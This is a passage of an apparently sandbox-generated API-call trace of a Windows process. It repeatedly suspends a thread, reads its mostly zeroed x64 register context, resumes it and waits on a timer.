Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.839] ResumeThread (hThread=0x170) returned 0x1 [0178.839] CloseHandle (hObject=0x170) returned 1 [0178.839] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.839] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.839] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.839] SuspendThread (hThread=0x170) returned 0x0 [0178.839] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.842] ResumeThread (hThread=0x170) returned 0x1 [0178.842] CloseHandle (hObject=0x170) returned 1 [0178.842] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.845] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.845] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.845] SuspendThread (hThread=0x170) returned 0x0 [0178.845] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.996] ResumeThread (hThread=0x170) returned 0x1 [0178.996] CloseHandle (hObject=0x170) returned 1 [0178.996] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.996] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.996] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.996] SuspendThread (hThread=0x170) returned 0x0 [0178.996] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.258] ResumeThread (hThread=0x170) returned 0x1 [0179.258] CloseHandle (hObject=0x170) returned 1 [0179.258] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.259] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.259] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.259] SuspendThread (hThread=0x170) returned 0x0 [0179.259] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.415] ResumeThread (hThread=0x170) returned 0x1 [0179.415] CloseHandle (hObject=0x170) returned 1 [0179.415] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.415] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.416] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.416] SuspendThread (hThread=0x170) returned 0x0 [0179.416] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, 